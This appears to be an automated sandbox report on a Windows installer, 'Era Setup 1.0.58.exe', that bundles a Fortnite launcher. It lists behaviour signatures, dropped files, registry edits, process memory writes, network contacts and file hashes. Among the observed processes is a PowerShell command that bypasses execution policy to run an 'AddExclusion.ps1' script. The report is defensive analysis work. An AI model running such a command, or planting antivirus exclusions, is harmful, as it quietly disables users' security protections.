Malware Analysis Report

2025-08-11 06:04

Sample ID 240222-wv54cade8x
Target Era Setup 1.0.58.exe
SHA256 068fba10991afbcd3632e1ee56cd26301492be1ee7e4a2c0cdfd29ae1ea3cb7c
Tags
discovery
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

068fba10991afbcd3632e1ee56cd26301492be1ee7e4a2c0cdfd29ae1ea3cb7c

Threat Level: Shows suspicious behavior

The file Era Setup 1.0.58.exe was found to be: Shows suspicious behavior.

Malicious Activity Summary

discovery

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Checks installed software on the system

Drops file in Program Files directory

Enumerates physical storage devices

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

Enumerates processes with tasklist

Checks processor information in registry

Runs net.exe

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-02-22 18:17

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-02-22 18:15

Reported

2024-02-22 18:25

Platform

win7-20240221-en

Max time kernel

28s

Max time network

129s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Control Panel\International\Geo\Nation C:\Program Files\Era\Era.exe N/A

Checks installed software on the system

discovery

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Era\locales\de.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\fa.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\hr.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\Uninstall Era.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\chrome_200_percent.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\ar.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\da.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\lv.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\pl.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\sk.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\sv.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\elevate.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\d3dcompiler_47.dll C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\el.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\et.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\bn.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\es-419.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\gu.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\id.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\th.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\Era.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\LICENSE.electron.txt C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\af.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\wheels C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\hu.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\ms.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\pt-PT.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\bin\sentry-cli C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\ffmpeg.dll C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\snapshot_blob.bin C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\he.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\zh-TW.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\am.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\zh-CN.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\kn.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\sr.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\test-vercel-nft.js C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\vulkan-1.dll C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\binaries\go_build_gemd_src.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\cs.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\js\logger.js C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\fi.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\package.json C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\js\index.js C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\js\releases\index.js C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\js\releases\options\deploys.js C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\bump-version.sh C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\pt-BR.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\sl.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app-update.yml C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\mr.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\build-in-docker.sh C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\hi.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\ro.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\resources\app.asar.unpacked\node_modules\@sentry\cli\sentry-cli.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\libEGL.dll C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\vk_swiftshader.dll C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\es.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\binaries\FortniteLauncher.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\en-US.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\ur.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\locales\vi.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
File created C:\Program Files\Era\chrome_100_percent.pak C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Era\Era.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Era\Era.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Era\Era.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Program Files\Era\Era.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz C:\Program Files\Era\Era.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString C:\Program Files\Era\Era.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2 C:\Program Files\Era\Era.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\era\URL Protocol C:\Program Files\Era\Era.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\era\ = "URL:era" C:\Program Files\Era\Era.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\era\shell\open\command C:\Program Files\Era\Era.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\era\shell C:\Program Files\Era\Era.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\era\shell\open C:\Program Files\Era\Era.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\era\shell\open\command\ = "\"C:\\Program Files\\Era\\Era.exe\" \"%1\"" C:\Program Files\Era\Era.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\era C:\Program Files\Era\Era.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\Era\Era.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Era\Era.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2328 wrote to memory of 2496 N/A C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe C:\Windows\SysWOW64\WScript.exe
PID 2328 wrote to memory of 2496 N/A C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe C:\Windows\SysWOW64\WScript.exe
PID 2328 wrote to memory of 2496 N/A C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe C:\Windows\SysWOW64\WScript.exe
PID 2328 wrote to memory of 2496 N/A C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe C:\Windows\SysWOW64\WScript.exe
PID 2496 wrote to memory of 2596 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe
PID 2496 wrote to memory of 2596 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe
PID 2496 wrote to memory of 2596 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe
PID 2496 wrote to memory of 2596 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe
PID 2496 wrote to memory of 2400 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe
PID 2496 wrote to memory of 2400 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe
PID 2496 wrote to memory of 2400 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe
PID 2496 wrote to memory of 2400 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe
PID 2596 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 320 wrote to memory of 2092 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\binaries\FortniteLauncher.exe
PID 320 wrote to memory of 2092 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\binaries\FortniteLauncher.exe
PID 320 wrote to memory of 2092 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\binaries\FortniteLauncher.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe
PID 320 wrote to memory of 2204 N/A C:\Program Files\Era\Era.exe C:\Program Files\Era\Era.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe

"C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\AddExclusion.ps1"

C:\Program Files\Era\Era.exe

"C:\Program Files\Era\Era.exe"

C:\Program Files\Era\binaries\FortniteLauncher.exe

"C:\Program Files\Era\binaries\FortniteLauncher.exe"

C:\Program Files\Era\Era.exe

"C:\Program Files\Era\Era.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Era" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1052 --field-trial-handle=1124,i,797050759762704608,9802341688766809573,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
DE 140.82.121.3:443 github.com tcp
US 8.8.8.8:53 sentry.erafn.org udp
US 104.22.66.72:443 sentry.erafn.org tcp

Files

C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs

MD5 b7fe71cd889b8d9db15da394f6846359
SHA1 21d1cf9408750edf9a43afb872572746fcb23d51
SHA256 bdf08edeac9b660b814af9040128d8f8ef3ef46f8a28bf0319e6c05d42740fc2
SHA512 8a774ccc0de99d4110696bbea189e98ba33baf7bd59ac37d9ec1d88de59fd252d8d7e906cf87e6547e90966419fa23505af5ce4cc549dfa7f93905cc6b5aa1aa

C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe

MD5 1acc730a80436f4ecf1662fa2beee86c
SHA1 bcbc4a7cf40d7b95dc6d22ced094c8f0ecb4ba8f
SHA256 c1a27942705106a485b9ee12a83b4deda3443eeb077a5fe04009395de103c618
SHA512 92c58e902b9f218158e7694fd82d9f151aa642581180ff1c6797ac78287eccb1a69d4d6f64703eaecbe103de333e7cfc83689626fc6bc60e124b6f69dcc14419

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe

MD5 079b50f2a0635bdff133a4751bed87cb
SHA1 f9987c92496d387abfe1977dbae5e2325d256dc1
SHA256 55afbfe0e18e90ca48fce19277ccf2ae09dd1e1b98095eac0e2d219a6681f44c
SHA512 bab923ae34c7b11a5e1fb7e3a9ec1e1e5887d5ffa5f6520e84452c991bae0883732e7e925948e6679daa88ae19d14b3c3b932b5f2c5c5ade592bffd2b7de5f8b

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe

MD5 a6d8d7c9d58e7a18534ef5b62bd76e7d
SHA1 284c5cc4f58be4893ff1d6f9e2c196b5bbef05ce
SHA256 026abebb2839a79561aaea1b3ee6a6dba7802165e2ea6f704ce4e7f145f9495e
SHA512 48717e04acdfc1035f9b1c9b8dd1c4169d3eaccdc19682dbef3b3249d6bf0cbb71acdaa8229a4c6d96963721f0c010f647238f971b30b767fa867605b7c8d9a3

\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe

MD5 055c2bd709f06cca183179c36fa9e201
SHA1 d3dca88a0e10ef90dc163845de1f4483e9d9731c
SHA256 8be8864547c6cbf52791ff4f1263162ea951d7f349c458792d1eb1ff885393e7
SHA512 f16e5e69f7d796bea41176476d78bad69508cb386a428a1f5fc940ad3299a278f94db068d7cc0f60f180f4455b80cc7f7085eecb0e55a502d40c49c80afd10b4

\Users\Admin\AppData\Local\Temp\nsd4348.tmp\System.dll

MD5 0d7ad4f45dc6f5aa87f606d0331c6901
SHA1 48df0911f0484cbe2a8cdd5362140b63c41ee457
SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
SHA512 c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

memory/2596-23-0x0000000001310000-0x0000000001318000-memory.dmp

memory/2596-24-0x00000000731C0000-0x00000000738AE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\StdUtils.dll

MD5 c6a6e03f77c313b267498515488c5740
SHA1 3d49fc2784b9450962ed6b82b46e9c3c957d7c15
SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
SHA512 9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803

\Users\Admin\AppData\Local\Temp\nsd4348.tmp\SpiderBanner.dll

MD5 17309e33b596ba3a5693b4d3e85cf8d7
SHA1 7d361836cf53df42021c7f2b148aec9458818c01
SHA256 996a259e53ca18b89ec36d038c40148957c978c0fd600a268497d4c92f882a93
SHA512 1abac3ce4f2d5e4a635162e16cf9125e059ba1539f70086c2d71cd00d41a6e2a54d468e6f37792e55a822d7082fb388b8dfecc79b59226bbb047b7d28d44d298

memory/2596-33-0x0000000000480000-0x00000000004C0000-memory.dmp

\Users\Admin\AppData\Local\Temp\nsd4348.tmp\nsis7z.dll

MD5 80e44ce4895304c6a3a831310fbf8cd0
SHA1 36bd49ae21c460be5753a904b4501f1abca53508
SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
SHA512 c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

memory/2988-85-0x000000006EDB0000-0x000000006F35B000-memory.dmp

memory/2988-168-0x0000000002A30000-0x0000000002A70000-memory.dmp

memory/2988-169-0x0000000002A30000-0x0000000002A70000-memory.dmp

memory/2988-208-0x0000000002A30000-0x0000000002A70000-memory.dmp

memory/2988-209-0x000000006EDB0000-0x000000006F35B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\AddExclusion.ps1

MD5 1485f4c6aa77c1428e142543aa4e1deb
SHA1 6e239abc4fb245bd5a6ad684e7169fe877ea9a81
SHA256 4686b1f92532d8097e47bbc321b1c71c6342df7dc7395c0a22a9b23050be2686
SHA512 fd58e4762063b44a47eb6bffdfdc2704dd37788db1d43878ddca1c62d1d089abad06049c4a50e2146fdcb95fa6769e68457791690429ec00bae538d9c94f42d8

memory/2988-225-0x000000006EDB0000-0x000000006F35B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\chrome_200_percent.pak

MD5 5604b67e3f03ab2741f910a250c91137
SHA1 a4bb15ac7914c22575f1051a29c448f215fe027f
SHA256 1408387e87cb5308530def6ce57bdc4e0abbbaa9e70f687fd6c3a02a56a0536c
SHA512 5e6f875068792e862b1fc8bb7b340ac0f1f4c51e53e50be81a5af8575ca3591f4e7eb9239890178b17c5a8ff4ebb23719190d7db0bd8a9aa6dcb4308ffa9a34d

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\d3dcompiler_47.dll

MD5 25efc665aad998eee6f49f681d667950
SHA1 72bf3f8d9674b12a18240a8d47e3f2c09c21a070
SHA256 d3c56e6eb05147722777bf3b6b3203b0faa1c56ce57cb04f2bc65ec2f0a58c64
SHA512 4333d985189b6be5c686883a39cc615da35e667d67965ea08602b7fcde6091fc3cb42099f241e339d4b1af26da4dbf3f85afc6eb2611ddfb9fdd632577334409

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\chrome_100_percent.pak

MD5 d31f3439e2a3f7bee4ddd26f46a2b83f
SHA1 c5a26f86eb119ae364c5bf707bebed7e871fc214
SHA256 9f79f46ca911543ead096a5ee28a34bf1fbe56ec9ba956032a6a2892b254857e
SHA512 aa27c97bf5581eb3f5e88f112df8bfb6a5283ce44eb13fbc41855008f84fb5b111dfe0616c310c3642b7f8ac99623d7c217aecc353f54f4d8f7042840099abc5

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\Era.exe

MD5 ba4a77219f6967e23e1dbf8d2fa28798
SHA1 1fb4f4e5ab4fd27c9bec9f871826f0f830edc981
SHA256 d084dcf74c75deb08976fc84386eb1aee050ebcf95ff88382eb16a675a2565ea
SHA512 2b7b49b16775196fed8c47bb561c7890de3f0767d629e4731a35636fe500edd879dc100a2c39ce52f30d8fe8abfd859fe665c32dec2a938024458870ce2bd137

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\ffmpeg.dll

MD5 feb60efd67319e1c4d098b26432c45a6
SHA1 d7fef92b8888dc2ab2748cd1f70fb0528ca702f1
SHA256 cd1b821c5916e7c80006f4b82745d01305ca2d3d4126f495b19b7157d28ae8a5
SHA512 0eb2e807ba64ac2d7d2415ff66731d2a01aa9ad70a396f3a5e4a1d3b084d87597afefa4622670b053243b672c0b3b67edaa42de904fb670e384e563b52b0aaaa

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\libEGL.dll

MD5 773bbe681c1fab3d4d9ac505678f49e2
SHA1 6eb8dd50d3674d60ce805f59ed98a5bde42cafd5
SHA256 98a07bfe813d4e0917c82437b9489ab72694a76f71766c9b0cb61daab81ebf74
SHA512 2034ec31a8b71865ba7edf3bbcf5425756c46ffa896909e2c4b423171b205194ddec2933043ee906d8bd01bbfc3a34c2f09ed847aad3c8d5be09a886f19835f2

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\icudtl.dat

